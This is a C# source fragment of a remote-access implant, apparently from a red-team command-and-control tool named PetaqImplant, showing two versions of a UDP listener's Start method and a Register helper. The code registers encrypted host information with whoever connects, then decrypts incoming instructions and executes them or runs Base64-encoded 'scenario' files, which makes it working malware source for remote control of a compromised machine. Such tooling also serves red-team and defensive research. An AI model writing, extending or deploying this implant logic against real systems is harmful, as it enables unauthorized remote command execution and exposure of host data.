public override void Start()
{
try
{
// Setting up the variables for listener
ListenPort = int.Parse(Program.configuration["LISTENPORT"]);
// Setting the service status
Status = true;
// Listener is configuring
UDPService = new UdpClient(ListenPort);
while (Status)
{
//Console.Error.WriteLine("The EP is setting.");
IPEndPoint ep = new IPEndPoint(IPAddress.Any, ListenPort);
Console.Error.WriteLine("Waiting for linking... ");
// Read stream as string and process
while (Status)
{
// When data received, Endpoint gets updated
byte[] data = UDPService.Receive(ref ep);
// Copy the endpoint to the UDPClient to send data later
UDPClient = ep;
// Send registration info first when a socket established
if (!LinkStatus)
{
Console.Error.WriteLine("Registering the implant information.");
string registration_data = Common.Encrypt("register " + Convert.ToBase64String(Encoding.UTF8.GetBytes(Common.GetInfo())));
Send(registration_data);
}
// Set the link status as data received
LinkStatus = true;
////Instruction received from the UDP client...
string instruction = Encoding.UTF8.GetString(data);
instruction = Common.Decrypt(instruction);
// If scenario is requested call scenario, otherwise run instructions
if (instruction.StartsWith("scenario"))
{
if (Regex.Split(instruction, " ").Length < 3)
{
// Set the socket as the Console output
Program.consoleIO = Console.Out;
Console.SetOut(new SocketWriter());
// Raise the error
Console.WriteLine("Usage: scenario file filepath");
}
else
{
// scenario instruction format:
// scenario file BASE64STRING
string scenario_b64 = Regex.Split(instruction, " ")[2];
// send the Base64 encoded scenario to run
PetaqImplant.Scenario.Run(scenario_b64);
}
}
else
{
// run the instruction received
PetaqImplant.Instructions.Instruct(instruction, new SocketWriter());
}
}
}
}
catch (Exception e)
{
Console.Error.WriteLine("UDP Service Exception on Receive: " + e.Message);
Status = false;
LinkStatus = false;
}
finally
{
Stop();
}
}
public override void Start()
{
try
{
// Setting up the variables for listener
ListenPort = int.Parse(Program.configuration["LISTENPORT"]);
// Setting the service status
Status = true;
// Listener is configuring
UDPService = new UdpClient(ListenPort);
while (Status)
{
//Console.Error.WriteLine("The EP is setting.");
IPEndPoint ep = new IPEndPoint(IPAddress.Any, ListenPort);
Console.Error.WriteLine("Waiting for linking... ");
// Read stream as string and process
while (Status)
{
// When data received, Endpoint gets updated
byte[] data = UDPService.Receive(ref ep);
// Copy the endpoint to the UDPClient to send data later
UDPClient = ep;
// Send registration info first when a socket established
if (!LinkStatus)
{
Console.Error.WriteLine("Registering the implant information.");
string registration_data = Common.Encrypt("register " + Convert.ToBase64String(Encoding.UTF8.GetBytes(Common.GetInfo())));
Send(registration_data);
}
// Set the link status as data received
LinkStatus = true;
////Instruction received from the UDP client...
string instruction = Encoding.UTF8.GetString(data);
instruction = Common.Decrypt(instruction);
////Instruction is processing...
Instructions.Instruct(instruction);
}
}
}
catch (Exception e)
{
Console.Error.WriteLine("UDP Service Exception on Receive: " + e.Message);
Status = false;
LinkStatus = false;
}
finally
{
Stop();
}
}
public static void Register()
{
Console.WriteLine("Registering the implant information.");
string registration_data = Common.Encrypt("register " + Convert.ToBase64String(Encoding.UTF8.GetBytes(Common.GetInfo())));
LinkService.Send(registration_data);
}
